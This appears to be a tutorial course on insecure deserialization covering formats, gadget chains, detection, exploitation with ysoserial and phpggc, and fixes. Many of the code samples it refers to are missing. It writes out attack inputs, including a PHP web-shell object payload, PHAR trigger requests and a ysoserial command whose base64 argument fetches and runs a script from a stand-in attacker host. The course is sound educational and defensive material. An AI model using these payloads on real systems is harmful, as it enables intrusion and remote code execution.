Insecure Deserialization
A complete guide to understanding, detecting, exploiting, and preventing Insecure Deserialization vulnerabilities.
Introduction
INSECURE DESERIALIZATION
A complete ANAS EDUCATION course on the bug class that turns "load a cookie" into remote code execution.
SECTION 1. Introduction
Imagine you open your PC and visit `anastech.com`.
You log in. The server creates a session for you. To remember your session, the server gives you a cookie:
That long string is base64-encoded. If you decode it, you get:
This is a serialized PHP object. The server took an instance of the `User` class, with three properties, and turned it into a text string that can be transmitted in a cookie.
Every time your browser sends a request to anastech.com, it sends that cookie back:
The server reads the cookie. The server reverses the process. The server reconstructs a User object with `name=anas`, `role=user`, `avatar=/img/avatar.png`. The server then uses that object to show your dashboard.
This conversion (serialize when sending out, deserialize when receiving back) is everywhere on the web: PHP cookies, Java RMI, Python pickled queue messages, Ruby Marshal, .NET BinaryFormatter, Node.js node-serialize.
Now look at the same picture again, but with a question on top of it:
- ●What if you do not send the cookie the server gave you?
- ●What if you change `role=user` to `role=admin`?
- ●What if you change the class from `User` to something more powerful?
- ●What if the very act of decoding the cookie runs code on the server?
You can. The cookie is just text. You can edit it. You can replace it with any serialized payload you want.
If the server reads the cookie and reconstructs the object without verifying its contents, you can:
- ●Change your role to admin (the simple variant).
- ●Replace the User object with a different class that does dangerous things during reconstruction.
- ●Chain multiple classes together so deserialization triggers remote code execution.
That last one is the magic. In Java, PHP, Python, Ruby, and .NET, the act of reconstructing an object can automatically call special methods (`__wakeup`, `readObject`, `__reduce__`, `_load`, `OnDeserialization`). If one of those methods does something useful (read a file, run a command, make a network call), an attacker who controls the serialized data controls what runs.
This is called a gadget chain. The Apache Commons Collections gadget chain alone has caused billions of dollars in damage over a decade: WebLogic, JBoss, Jenkins, IBM WebSphere, hundreds of products.
This course teaches the entire bug class from zero. By the end you will know:
- ●What serialization is, byte by byte, in PHP, Java, Python, Ruby, and .NET.
- ●How to spot a serialized object in a request.
- ●How to modify object fields to escalate privileges.
- ●How to swap object classes for object injection.
- ●How to use pre-built gadget chains (ysoserial, phpggc, marshalsec).
- ●How to build custom gadget chains for Java and PHP.
- ●How to use PHAR deserialization to trigger an attack via file upload.
- ●How to fix each variant.
You do not need to be an expert. You just need to read carefully.
SECTION 2. How It Works
To find these bugs, you first need to understand serialization in detail.
Step 1. What serialization is
A program holds data in memory as objects: structures with named fields. To save the data to disk, send it over the network, or store it in a cookie, the program must convert the object to a flat sequence of bytes. That conversion is serialization.
The reverse, reconstructing an object from bytes, is deserialization. Different languages call it different things:
- ●Java: serialization / `ObjectInputStream.readObject()`
- ●PHP: `serialize()` / `unserialize()`
- ●Python: pickling / `pickle.dumps()` and `pickle.loads()`
- ●Ruby: marshalling / `Marshal.dump` and `Marshal.load`
- ●.NET: `BinaryFormatter`, `DataContractSerializer`, `JavaScriptSerializer`
- ●Node.js: many serializers; the dangerous one is `node-serialize`
Step 2. The PHP serialization format (byte by byte)
PHP serialize is the easiest to read. Here is a User object:
Output:
Breakdown:
This format is readable. Modifying it is trivial.
Step 3. The Java serialization format
Java serialization is binary. The first 4 bytes are always `AC ED 00 05` (the magic number). After that come the class hierarchy and field values.
You do not edit Java serialized data by hand. You generate it with a tool, the most common one being ysoserial.
Step 4. The Python pickle format
Python pickle uses a small stack-based virtual machine. The bytecode tells the deserializer what to do.
Output (as Python bytes, version 4):
The dangerous part: pickle bytecode supports the `R` opcode, which means "call this callable with these arguments". Any pickle can call any function. The classic exploit:
Three lines of code. Remote code execution if the server unpickles attacker-controlled data.
Step 5. The dangerous magic methods
Many languages have "magic methods" that fire automatically during deserialization. Attackers chain these.
PHP:
- ●`__wakeup()` ==> called on every object during unserialize.
- ●`__destruct()` ==> called when the object is destroyed (at end of script).
- ●`__toString()` ==> called when the object is used as a string.
- ●`__call()` ==> called when an undefined method is invoked.
Java:
- ●`readObject()` ==> custom deserialization logic.
- ●`readResolve()` ==> swap the object for a replacement before returning.
- ●`finalize()` ==> called by garbage collector (less reliable).
Python:
- ●`__reduce__()` ==> returns a tuple that pickle uses to reconstruct the object. If the callable in the tuple is `os.system`, you have RCE.
- ●`__setstate__()` ==> custom set state from dict.
Ruby:
- ●`_load` ==> custom load logic for Marshal.
- ●`marshal_load` ==> alternative method.
.NET:
- ●`[OnDeserialized]` and `[OnDeserializing]` attributes ==> methods called automatically.
- ●Custom `ISerializable.GetObjectData` ==> swap target objects.
Step 6. The normal flow on anastech.com
Step 7. The malicious flow
The attacker did not have credentials. The attacker did not exploit a syntax bug. The attacker simply replaced the legitimate cookie with a crafted one. Deserialization did the rest.
Step 8. Why this is so devastating
Deserialization happens BEFORE most application code runs. Authentication, authorization, input validation, business logic, all of them run on the deserialized object. If deserialization itself is the attack, every defense layer is bypassed.
The OWASP A08:2021 (Software and Data Integrity Failures) category exists specifically because of this bug class.
SECTION 3. Attack Flow
Generic flow for a complete RCE via Java deserialization. The target uses Apache Commons Collections 3.1 (vulnerable version) and accepts a serialized object in a cookie.
Ten steps. The most important: ysoserial does all the gadget chain construction for you. The hunter's job is to find the deserialization sink and confirm exploitability.
SECTION 4. Why Developers Make This Mistake
Mistake 1. "I store everything as JSON, so I am safe"
JSON is safer than pickle, PHP serialize, or Java ObjectInputStream because JSON only carries data (numbers, strings, arrays, objects-as-dicts). It cannot instantiate classes.
But many JSON parsers have "polymorphic" or "typed" deserialization options:
- ●Jackson with `enableDefaultTyping()` ==> back to RCE.
- ●FastJson `@type` attribute ==> back to RCE.
- ●.NET `JavaScriptSerializer` with `SimpleTypeResolver` ==> back to RCE.
- ●Newtonsoft JSON with `TypeNameHandling.All` ==> back to RCE.
The developer reads "JSON is safe" and turns on the type information feature, thinking it is more powerful. They restore the vulnerability.
Mistake 2. "I trust the cookie because we signed it"
The developer adds HMAC signing to the cookie. Now the attacker cannot tamper with it. So the developer feels safe.
The mistake: the developer signs the BASE64 cookie but does not sign the underlying serialized bytes the same way. Or the developer uses the same HMAC key in production and staging, then a staging leak gives the attacker the key. Or the developer uses a weak key.
Signed serialized data is safer than unsigned, but the underlying flaw (deserializing complex objects) remains. If the key leaks, full RCE is back.
Mistake 3. "The deserializer is the framework's job, not mine"
The developer uses a framework that handles cookies, sessions, and request bodies. The framework calls `pickle.loads()` (in Python) or `ObjectInputStream` (in Java) on cookie values internally. The developer never explicitly calls those functions, so the developer assumes they are not in play.
Frameworks that have shipped vulnerable deserialization (per real CVE history): Apache Struts, Apache Tomcat, JBoss, WebLogic, Spring, Django (pickled session backend), Flask (insecure session), Ruby on Rails (Marshal sessions). The developer's code did not call the dangerous function, but the framework did.
Mistake 4. "I cleaned the input with a regex"
The developer adds a regex to reject serialized payloads with the string `Runtime.exec` or `os.system`. The developer thinks: "I block dangerous patterns."
The mistake: gadget chains do not contain the string `Runtime.exec`. The string is constructed at deserialization time via reflection, by combining many small classes. The serialized payload contains references like `org.apache.commons.collections.functors.InvokerTransformer` which look benign. Regex defenses are bypassed by every gadget chain in ysoserial.
Mistake 5. "Old class libraries are not in our codebase"
The developer searches the codebase for `commons-collections` and does not find it. The developer concludes the application is not vulnerable.
The mistake: gadget chains exploit classes on the CLASSPATH, not classes the developer wrote. A transitive dependency three levels deep can provide all the classes needed for an RCE chain. `commons-collections` is a transitive dependency of thousands of common libraries; the developer cannot avoid it without major audits.
SECTION 5. Beginner Summary
- ●Serialization is the conversion of an in-memory object to a byte string. Deserialization is the reverse. Both happen constantly in every modern application: cookies, session storage, message queues, RPC calls, caches.
- ●Insecure deserialization is when an application deserializes attacker-controlled data. The vulnerability is the deserialization itself, not the presence of a particular dangerous class.
- ●The simplest exploitation is modifying object fields in a readable format (PHP serialize) to change role, balance, or other privilege markers.
- ●The most powerful exploitation is using a "gadget chain": a sequence of classes already on the classpath that, when deserialized in a specific order with attacker-controlled values, leads to remote code execution.
- ●The fix is architectural: do not deserialize untrusted data. Use JSON (without polymorphic types). Sign all serialized data with HMAC. Apply class allow-lists. Patch dependencies. The bug class cannot be fixed by sanitization alone.
SECTION 6. Visual Explanation
Diagram 1. The safe pattern (JSON without polymorphism)
JSON parsers reconstruct dicts and lists. They cannot instantiate user-defined classes. No code execution path during parsing.
Diagram 2. The vulnerable pattern (native deserialization)
Diagram 3. The PHP serialize format
Diagram 4. A gadget chain (simplified)
Each class is innocent in isolation. Combined in the right order, they execute arbitrary commands.
Diagram 5. The escalation ladder
SECTION 7. Definition
Technical definition
Insecure deserialization is a vulnerability that occurs when an application deserializes data from an untrusted source using a deserializer capable of instantiating arbitrary objects or executing code during reconstruction. Because deserialization in languages like Java, PHP, Python, Ruby, and .NET can invoke class constructors, special methods (`__wakeup`, `readObject`, `__reduce__`, `_load`, `OnDeserialization`), and arbitrary callables (in Python pickle), attacker-controlled serialized data can lead to privilege escalation, denial of service, authentication bypass, and remote code execution. Exploitation typically uses gadget chains: sequences of existing classes in the application's classpath that, when reconstructed in a specific order, perform a malicious action such as executing a shell command.
Primary classifications:
- ●CWE-502 (Deserialization of Untrusted Data), the canonical CWE for this bug class.
- ●CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), the mass-assignment overlap.
- ●CWE-913 (Improper Control of Dynamically-Managed Code Resources), code-resource overlap.
OWASP categories:
- ●A08:2021 - Software and Data Integrity Failures (current primary category).
- ●A08:2017 - Insecure Deserialization (the dedicated category in the 2017 list, merged into A08 in 2021).
- ●OWASP API Security Top 10 - API8: Security Misconfiguration (when APIs accept serialized formats).
Beginner definition
Insecure deserialization is when a program takes a string from a user and uses it to reconstruct an object, without checking whether the user is allowed to control what kind of object gets reconstructed or what code runs during the reconstruction.
Why it matters in 2025-2026
- ●CVE-2025-40551 (SolarWinds Web Help Desk) ==> Unauthenticated deserialization in Web Help Desk. Active exploitation in late 2025. CISA KEV-listed.
- ●CVE-2025-40550 (companion to 40551) ==> Authenticated deserialization with full RCE.
- ●CVE-2024-XXXX series ==> Multiple WebLogic deserialization patches in 2024-2025. Lazarus Group, multiple Chinese APTs, and ransomware operators actively exploit.
- ●CVE-2023-22518 (Atlassian Confluence) ==> Improper authorization combined with deserialization paths.
- ●CVE-2024-22120 (Zabbix) ==> SQLi chained with deserialization for RCE.
- ●CVE-2024-23897 (Jenkins) ==> CLI command parser also exposed deserialization-adjacent paths.
- ●Log4Shell (CVE-2021-44228) ==> JNDI lookups inside log messages cause deserialization via remote LDAP/RMI; the most expensive deserialization-adjacent bug in history.
- ●Active in 2025-2026: Apache Commons Collections gadget chain still exploits new versions of products built on top of pre-patched JDK/library stacks.
Common affected systems
- ●Java enterprise: WebLogic, JBoss, WebSphere, Jenkins, Atlassian Confluence/Jira, Apache Struts.
- ●PHP: WordPress (via plugin gadgets), Magento, vBulletin, Joomla.
- ●Python: Django (when pickle session backend is configured), Flask (custom pickle session storage), Celery workers consuming queue messages.
- ●.NET: Old versions using BinaryFormatter (deprecated in .NET 5+), some SharePoint variants.
- ●Ruby on Rails: Marshal-based session storage, YAML.load with untrusted input.
- ●Node.js: node-serialize, serialize-javascript with attacker-controlled input.
- ●Mobile: serialized objects in IPC, deeplinks, and queue messages on Android.
SECTION 8. Examples
Example 1. The session cookie privilege escalation on AnasTech
The feature. AnasTech stores session state in a base64-encoded cookie. The cookie is a serialized PHP object containing the user's name and role.
The bug. The cookie is not signed. The server simply base64-decodes and unserializes the value.
The attack step by step.
- ●1. The attacker logs in as a normal user and inspects the cookie value.
- ●2. The attacker base64-decodes it: `O:4:"User":2:{s:4:"name";s:4:"anas";s:4:"role";s:4:"user";}`.
- ●3. The attacker edits the string to: `O:4:"User":2:{s:4:"name";s:4:"anas";s:4:"role";s:5:"admin";}`. Note that the length prefix `s:5` matches the new value `admin`.
- ●4. The attacker base64-encodes the new string and replaces the cookie.
- ●5. The next request authenticates the attacker as admin.
This is Modifying Serialized Objects.
Example 2. The PHP loose comparison bypass on AnasSocial
The feature. AnasSocial verifies the access token by comparing the deserialized value with the expected:
The comparison uses `==` (loose) not `===` (strict).
The bug. The expected token is a string like `"0e1234567890123456789012345678901"`. PHP's loose comparison treats strings that look like scientific notation as floats, and any `"0e..."` string equals 0 in comparison.
The attack step by step.
- ●1. The attacker changes the cookie to a serialized integer 0: `i:0;`.
- ●2. The server deserializes to integer 0.
- ●3. The server compares `0 == "0e1234..."`. In PHP, "0e1234..." is converted to float 0. The comparison passes.
- ●4. The attacker gains access.
This is Modifying Serialized Data Types.
Example 3. PHP object injection on AnasDocs
The feature. AnasDocs has a cache class that serializes objects to a file. The cache key is in a cookie. The class is:
The bug. The deserialization endpoint accepts any class on the classpath, not just `CacheItem`. The destructor of `CacheItem` writes a file. The path and content come from object properties.
The attack step by step.
- ●1. The attacker crafts: `O:9:"CacheItem":2:{s:3:"key";s:25:"../webroot/shell.php";s:4:"data";s:32:"<?php system($_GET['c']); ?>";}`.
- ●2. The attacker sends it as the cookie value.
- ●3. The server deserializes. A CacheItem object is reconstructed.
- ●4. At end of script, PHP calls `__destruct`. The destructor writes the shell to `/webroot/shell.php`.
- ●5. The attacker visits `/shell.php?c=id` and gets remote code execution.
This is Arbitrary Object Injection in PHP.
Example 4. Java RCE via Apache Commons Collections on AnasBank
The feature. AnasBank uses a legacy Java backend with Spring 4.x. The session is stored in a serialized Java object cookie. The classpath includes Apache Commons Collections 3.1.
The bug. The application uses `ObjectInputStream.readObject()` on the cookie value with no class allow-list. The vulnerable library is on the classpath.
The attack step by step.
- ●1. The attacker runs `git clone https://github.com/frohoff/ysoserial`.
- ●2. The attacker builds: `mvn package -DskipTests`.
- ●3. The attacker generates: `java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,Y3VybCBodHRwOi8vYXR0YWNrZXIvc2hlbGwgfCBzaA==}|{base64,-d}|bash' > payload.bin`.
- ●4. The attacker base64-encodes payload.bin: `base64 -w 0 payload.bin > payload.b64`.
- ●5. The attacker sets the cookie to the base64 value.
- ●6. The server deserializes. The gadget chain triggers. RCE achieved.
This is Exploiting Java Deserialization with Apache Commons.
Example 5. PHAR deserialization on AnasMarket
The feature. AnasMarket lets users upload images. After upload, the application reads metadata using `file_exists($_FILES["upload"]["tmp_name"])` to confirm the file is present.
The bug. PHP's stream wrappers process the `phar://` protocol on any file operation. If an attacker uploads a PHAR archive (renamed as `.jpg`), and any file operation references it via `phar://`, PHP deserializes the PHAR's metadata, which is a serialized PHP object.
The attack step by step.
- ●1. The attacker creates a PHAR with a malicious serialized object as metadata using `phpggc`: `phpggc Monolog/RCE1 'system' 'id' --phar phar -o shell.phar`.
- ●2. The attacker renames `shell.phar` to `shell.jpg`.
- ●3. The attacker uploads `shell.jpg` via the image upload feature.
- ●4. The attacker finds an endpoint that reads the uploaded file metadata via a path the attacker controls.
- ●5. The attacker triggers: `GET /info?file=phar:///uploads/shell.jpg`.
- ●6. The PHP file operation processes the PHAR. The metadata is deserialized. The gadget chain runs. RCE achieved.
This is PHAR Deserialization to Deploy a Custom Gadget Chain.
SECTION 9. Vulnerable Code
PHP - unserialize on cookie (object injection)
PHP - PHAR via file_exists
Java - ObjectInputStream on raw bytes
Python - pickle.loads on request body
Python - YAML.load with untrusted input
Ruby - Marshal.load on attacker bytes
.NET - BinaryFormatter (deprecated for this reason)
Node.js - node-serialize unserialize
Java - Jackson with default typing
The universal pattern across languages
Every vulnerable code sample contains the same logical mistake:
- ●1. Attacker-controllable input ends up at a deserialization function.
- ●2. The deserializer can instantiate arbitrary classes (no allow-list).
- ●3. Classes on the classpath include "gadgets" with dangerous magic methods.
- ●4. No integrity check verifies the data has not been tampered with.
- ●5. No sandboxing limits what the deserializer can do.
The fix is always the same shape: switch to a data-only format (JSON without polymorphism, MessagePack, Protocol Buffers), or sign the serialized data with HMAC before storage/transmission and verify the signature before deserializing, or apply class allow-lists (JEP 290 in Java, custom factories in .NET), or wrap deserialization in a least-privilege sandbox.
SECTION 10. Detection
Manual detection steps
- ●1. Look at every cookie. Base64-decode each one. If the result begins with characters like `O:`, `a:`, `s:` (PHP) or starts with `\xac\xed\x00\x05` (Java) or starts with `\x80` (Python pickle), you have found a serialized object.
- ●2. Look at every request body and query parameter. The same encodings appear in form fields named `state`, `data`, `payload`, `cache`.
- ●3. Look at every uploaded file extension. PHAR files renamed to images or PDFs are a common vector.
- ●4. Look at the response headers and error messages. A stack trace mentioning `ObjectInputStream`, `unserialize`, `pickle.loads`, `BinaryFormatter`, or `Marshal.load` is a clear flag.
- ●5. Test small modifications to the serialized data. If the application reports a deserialization-related error (`ClassNotFoundException`, `unserialize(): Error at offset...`), the bug class is in play.
- ●6. Probe for class introspection: try class names like `__PHP_Incomplete_Class` or `SerializationDummy` in PHP, see if errors leak class information.
- ●7. For Java apps, send a `\xac\xed\x00\x05` prefix and watch for stack traces revealing classpath details.
Burp Suite step by step
- ●1. Browse the application. In Proxy ==> HTTP history, sort by length and look for unusual cookie values.
- ●2. Right-click a request with a suspicious cookie ==> Send to Repeater.
- ●3. Use the Hackvertor extension or Decoder to base64-decode the cookie. Look for recognizable serialization markers.
- ●4. Use the Java Deserialization Scanner Burp extension to passively detect Java serialized objects in traffic.
- ●5. Use the PHP Object Injection Check extension or send a known-bad PHP serialized payload to verify the endpoint deserializes it.
- ●6. For active testing, use Burp Intruder to mutate single bytes in the serialized payload. Watch for changes in response behavior.
- ●7. Send a controlled crash payload: change a length prefix in a PHP serialization. If the error trace mentions `unserialize` line numbers, the endpoint is processing your input.
Common detection probes
Automated tools
- ●Java Deserialization Scanner (Burp extension) ==> passive + active detection of Java serialized objects. Available in BApp Store.
- ●ysoserial ==> generator for known Java gadget chains. https://github.com/frohoff/ysoserial
- ●ysoserial.net ==> .NET equivalent. https://github.com/pwntester/ysoserial.net
- ●phpggc ==> PHP gadget chain generator with 100+ pre-built chains. https://github.com/ambionics/phpggc
- ●marshalsec ==> Java JSON deserialization gadgets (Jackson, FastJson, etc.). https://github.com/mbechler/marshalsec
- ●GadgetProbe ==> identifies which gadget chains a target classpath supports. https://github.com/BishopFox/GadgetProbe
- ●freddy Burp extension ==> JSON deserialization in Java. https://github.com/nccgroup/freddy
- ●PHP Object Injection Slayer ==> identifies PHP unserialize sinks in source code.
Indicators of vulnerability
- ●Base64-encoded cookies that decode to PHP serialize / Java serialize / pickle / Marshal formats.
- ●Stack traces mentioning deserialization functions in error responses.
- ●Response timing changes when serialized payloads are sent (deserialization can be slow).
- ●The application accepts and processes files with `.phar` extensions, or any extension where the PHP wrapper might process them.
- ●Endpoints that accept `application/x-java-serialized-object` content-type.
- ●Endpoints that accept binary blobs in form fields named `data`, `state`, `cache`, `session`.
- ●Old framework versions (Java 7-8 era, PHP 5.x era, .NET pre-5).
- ●Public classpath dependencies including Apache Commons Collections (< 3.2.2), Spring 4.x, Hibernate 4.x.
SECTION 11. Exploitation
Workflow
- ●1. Identify the deserialization sink (cookie, form field, file upload, message queue, RPC).
- ●2. Fingerprint the format: PHP, Java, Python, Ruby, .NET, Node.js.
- ●3. Test with a simple modification: change a string value, change an integer, add a field.
- ●4. Test with class swap: replace the expected class with another class that exists in the codebase.
- ●5. If RCE is the goal, identify the classpath. Look for vulnerable library versions in error messages or by inducing version-leaking errors.
- ●6. Generate a payload using ysoserial, phpggc, or marshalsec.
- ●7. Encode appropriately (base64 for cookies, raw bytes for body, multipart for file upload).
- ●8. Send and verify with a DNS or HTTP callback.
- ●9. Upgrade to interactive shell or extraction depending on goal.
Advanced techniques
This section covers the six families from the modern taxonomy.
Family 1: Serialized Data Manipulation
1. Modifying Serialized Objects
The simplest case: edit a field in a readable serialization format.
PHP example:
Note: the length prefix must match the new value. `s:5:"admin"` because `admin` is 5 characters.
Tools to help: PHP serialize/unserialize round-trip in a local PHP shell, the `phpserialize` Python library, or the `Hackvertor` Burp extension which has serialize/unserialize converters.
2. Modifying Serialized Data Types
Change the data type to confuse loose comparisons.
PHP loose comparison gotcha:
PHP array vs string:
Java type confusion: substitute a child class that has different field semantics. For example, replace a `String` with an `Integer` if the app does `.toString()` on the result without checking type.
Family 2: Application Logic Abuse
3. Using Application Functionality to Exploit Insecure Deserialization
Look at what methods get called on the deserialized object. If `__wakeup`, `__destruct`, `readObject`, or framework callbacks (`postLoad` in Hibernate, `OnDeserialized` in .NET) do something with attacker-controlled properties, you have a logic gadget.
Example PHP:
Even without RCE library gadgets, you can write a web shell to disk by:
The destructor runs at end of script and writes the shell. Then visit `/sh.php?c=id`.
This technique is independent of any external library. It exploits the application's own classes. It is the most common bounty pattern for PHP CMS plugins where the developer wrote a "convenient" cache or file class.
Audit checklist for application gadgets:
- ●Any class with `__destruct`, `__wakeup`, `__toString` that does file I/O.
- ●Any class that issues HTTP requests in those magic methods (SSRF primitive).
- ●Any class that performs reflection or dynamic method dispatch on properties (RCE primitive).
- ●Any class that includes or evaluates strings from properties (`eval`, `include`, `require`, `call_user_func`).
Family 3: Object Injection Attacks
4. Arbitrary Object Injection in PHP
The general technique: the application calls `unserialize` on attacker input expecting class A; the attacker provides class B (also defined in the codebase) that has a useful magic method.
Process:
- ●1. Enumerate every class loaded by the application at the moment of unserialize.
- ●2. For each class, check its `__wakeup`, `__destruct`, `__toString`, `__call`, `__set`, `__get`.
- ●3. Identify chains: class B's destructor calls method on property X, which is set to an instance of class C, whose `__toString` does something dangerous.
- ●4. Construct a serialized payload that contains nested objects forming the chain.
Tools:
- ●`phpggc` automates this for common frameworks: `phpggc Laravel/RCE10 system id` produces a ready-to-send payload.
- ●Source code review with PHPStan/Psalm helps map all magic methods.
Family 4: Gadget Chain Exploitation
5. Exploiting Java Deserialization with Apache Commons Collections
The canonical Java RCE via deserialization, weaponized by the 2015 Foxglove Security research.
The chain (CommonsCollections1, simplified):
Procedure:
- ●1. Confirm the target deserializes Java objects (from cookie, request body, RMI call, etc.).
- ●2. Confirm Commons Collections 3.1 or 4.0 is on the classpath. Tools: GadgetProbe, error-induced classpath leaks.
- ●3. Generate: `java -jar ysoserial.jar CommonsCollections5 "id" > payload.bin`.
- ●4. Send the binary payload as-is to the binary endpoint, or base64-encode for cookies/text fields.
- ●5. Verify via callback (DNS or HTTP).
- ●6. Upgrade command from `id` to your full payload.
Available chains in ysoserial (selected):
- ●`CommonsCollections1` through `CommonsCollections7` ==> different variants for different JDK versions and library versions.
- ●`Spring1`, `Spring2` ==> Spring framework gadgets.
- ●`Hibernate1`, `Hibernate2` ==> Hibernate gadgets.
- ●`JSON1` ==> for Jackson polymorphic deserialization.
- ●`BeanShell1` ==> if BeanShell is on classpath.
- ●`Groovy1` ==> if Groovy is on classpath.
- ●`JBossInterceptors1` ==> JBoss-specific.
- ●`Wicket1` ==> Apache Wicket.
6. Exploiting PHP Deserialization with a Pre-Built Gadget Chain
phpggc is the canonical tool. It maintains gadget chains for 50+ PHP frameworks and applications.
Procedure:
- ●1. Identify the target framework: WordPress, Laravel, Magento, Symfony, Drupal, etc.
- ●2. Identify the version. phpggc supports specific version ranges per chain.
- ●3. Run: `phpggc Symfony/RCE4 system id` ==> outputs the serialized payload to stdout.
- ●4. Send the payload via the deserialization sink.
Common chains in phpggc:
- ●`Monolog/RCE1` through `Monolog/RCE9` ==> via Monolog handlers (Monolog is widely included).
- ●`Symfony/RCE1` through `Symfony/RCE6` ==> Symfony framework.
- ●`Laravel/RCE1` through `Laravel/RCE13` ==> Laravel framework.
- ●`WordPress/RCE1` ==> some WordPress-specific gadgets.
- ●`Drupal/RCE1` ==> Drupal-specific.
- ●`Magento/RCE1` through `Magento/RCE2` ==> Magento e-commerce.
- ●`Doctrine/RCE1` ==> Doctrine ORM.
- ●`Guzzle/RCE1` ==> Guzzle HTTP library.
- ●`SwiftMailer/RCE` ==> SwiftMailer.
7. Exploiting Ruby Deserialization Using a Documented Gadget Chain
Ruby Marshal is less covered than Java but has documented chains. The classic ERB-based gadget:
Tools:
- ●universal-ruby-gadget ==> https://github.com/methusalah/universal_rce_gadget (Ruby gadget research).
- ●rubysec documentation lists Marshal-based CVEs in Rails and Sidekiq.
YAML chains (yaml.load is essentially Marshal in disguise for arbitrary objects):
This kind of chain has appeared in Rails CVEs (CVE-2013-0156, CVE-2013-0277) and has modern variants still being discovered.
Family 5: Custom Gadget Chain Development
8. Developing a Custom Gadget Chain for Java Deserialization
When ysoserial chains do not work (filtered, missing libraries, JDK upgraded with serialization filters enabled), you build your own.
Process:
- ●1. Enumerate the classpath. Use error-induced disclosure, DependencyTrack APIs, or JAR file analysis if you have access.
- ●2. Search for classes implementing `Serializable` (or `Externalizable`).
- ●3. Search for `readObject` methods, `readResolve`, `readExternal` that do interesting things.
- ●4. Search for sink methods: anything that reflects (Method.invoke), runs a command (Runtime.exec, ProcessBuilder), creates a class loader, makes a network call.
- ●5. Map a path from a serializable entry point to the sink. Each hop is a `readObject` triggering another method.
- ●6. Construct the payload by instantiating each object with the correct properties to drive the chain.
Tools for chain discovery:
- ●Joogle ==> a "Google for Java methods", searches signatures.
- ●JD-GUI / CFR ==> decompiles JARs for inspection.
- ●gadgetinspector by JackOfMostTrades ==> automated chain discovery across a JAR set. https://github.com/JackOfMostTrades/gadgetinspector
- ●tabby ==> static analysis tool for Java deserialization gadgets. https://github.com/wh1t3p1g/tabby
9. Developing a Custom Gadget Chain for PHP Deserialization
Same process, simpler language. The PHP magic methods that fire:
- ●`__wakeup` ==> on object reconstruction.
- ●`__destruct` ==> at end of script.
- ●`__toString` ==> on string coercion.
- ●`__call` ==> on undefined method call.
- ●`__get` / `__set` ==> on undefined property access.
Process:
- ●1. Read source code (often available for PHP CMS / open-source applications).
- ●2. Grep for all `__wakeup`, `__destruct`, `__toString` definitions.
- ●3. For each, trace what the method does. Specifically interesting:
- ●File I/O on object properties (`file_put_contents($this->path, $this->data)`).
- ●Dynamic dispatch (`call_user_func($this->callback, $this->args)`).
- ●Code evaluation (`eval`, `assert`, `preg_replace` with `/e` modifier).
- ●Database queries with property values.
- ●4. Map a chain. Often a "destructor calls toString on a property, which calls call_user_func on its property".
- ●5. Construct the nested serialized payload.
The PHP serialization format makes payload construction straightforward; nested objects are just nested `O:N:"Class":K:{...}` blocks.
Family 6: Advanced Deserialization Attacks
10. Using PHAR Deserialization to Deploy a Custom Gadget Chain
PHAR (PHP Archive) is the PHP equivalent of JAR. PHAR files have metadata that is automatically deserialized when any file operation references them via the `phar://` stream wrapper.
The wrapper triggers on these PHP functions (non-exhaustive):
The attack:
- ●1. Use `phpggc` with `--phar phar` flag: `phpggc Monolog/RCE1 system id --phar phar -o exploit.phar`.
- ●2. Rename `exploit.phar` to something innocent: `exploit.jpg`. (The file extension is irrelevant; the file's actual byte content matters.)
- ●3. Upload the file via any file upload feature.
- ●4. Trigger any file operation via the `phar://` wrapper: `?file=phar:///var/www/uploads/exploit.jpg`.
- ●5. PHP reads the metadata, unserializes it, fires the gadget chain.
- ●6. RCE achieved.
Even after PHP 8 disabled some PHAR auto-loading, file_exists and similar functions still trigger it. The attack remains viable in 2025.
Mitigation: PHP `phar.readonly = 1` (does not prevent reading, only creation); the real fix is rejecting `phar://` in user-supplied paths or sandboxing file operations.
Additional cross-cutting techniques
11. Python pickle RCE via __reduce__
That is the entire exploit. The `__reduce__` method tells pickle: "when reconstructing me, call `os.system` with this argument". Pickle bytecode supports it natively via the `R` opcode.
12. YAML deserialization in Python (PyYAML legacy)
Send the above to any endpoint that calls `yaml.load(input)` without `Loader=yaml.SafeLoader`. PyYAML pre-5.1 defaults are unsafe.
13. .NET BinaryFormatter RCE via ysoserial.net
Generates a BinaryFormatter payload. Send to any endpoint that calls `BinaryFormatter.Deserialize`.
Gadgets available in ysoserial.net include: `TypeConfuseDelegate`, `ObjectDataProvider`, `WindowsIdentity`, `ActivitySurrogateSelector`, `PSObject`, and many more.
14. Node.js node-serialize IIFE
When `serialize.unserialize` parses this, the `_$$ND_FUNC$$_` prefix triggers `eval`. Add `()` at the end to make it an IIFE that runs immediately.
15. Jackson polymorphic deserialization
If the application uses Jackson with default typing enabled (`enableDefaultTyping`), this triggers a JNDI lookup. The JNDI server returns a Java class file that gets loaded and executed. The Log4Shell pattern, but in JSON form.
16. FastJson @type confusion
FastJson < 1.2.83 has shipped multiple deserialization CVEs. The `@type` attribute tells FastJson which class to instantiate. Attacker-controlled = full RCE if a vulnerable JdbcRowSetImpl-like class is on classpath.
17. Serialization format confusion (mixed-format attacks)
When the same input can be parsed as both Java serialized and as PHP serialized (or any two formats), a downstream consumer may interpret it differently. Send a payload that survives both parsers but triggers a chain in one of them.
18. SSRF via deserialization (URL classes)
Some Java classes (`java.net.URL`, `URLConnection`) make network requests during deserialization for cache key purposes. If you cannot get full RCE, you can often get SSRF as a stepping stone.
19. DoS via "billion laughs" in deserialization
Some serialization formats allow back-references. Pickle in particular supports cyclic references. Sending a payload with 1 billion back-references can exhaust memory or CPU before any RCE attempt is needed.
20. Class hierarchy attacks
When a parent class has a vulnerable `readObject`, all child classes inherit the path. Find any subclass of the vulnerable parent that is in the application's class hierarchy, even if the application never directly references the parent.
SECTION 12. Proof of Concept
Burp Suite step by step (PHP object swap on AnasTech)
- ●1. Browse the application and log in as a low-privilege user.
- ●2. Find the session cookie in Proxy ==> HTTP history.
- ●3. Base64-decode the cookie value (Decoder or Hackvertor extension).
- ●4. Identify the structure (`O:N:"ClassName":K:{...}`).
- ●5. Send to Repeater. Modify the field of interest, recompute lengths.
- ●6. Re-base64-encode and replace the cookie.
- ●7. Send the request. Verify the new privilege state in the response.
- ●8. Capture screenshot, request, and response as report evidence.
Python PoC: pickle RCE verification (callback only, defensive demo)
The callback-only PoC is the safer demonstration for bug bounty: it proves the vulnerability without uploading any payload that could damage the target. Many programs require callback-only PoCs and reject reports that include destructive payloads.
Bash PoC: Java deserialization callback
The URLDNS payload is specifically designed for safe testing: it triggers a DNS lookup during deserialization but does nothing else. Confirmed DNS hit proves the vulnerability without any system modification.
PowerShell PoC: .NET BinaryFormatter detection probe
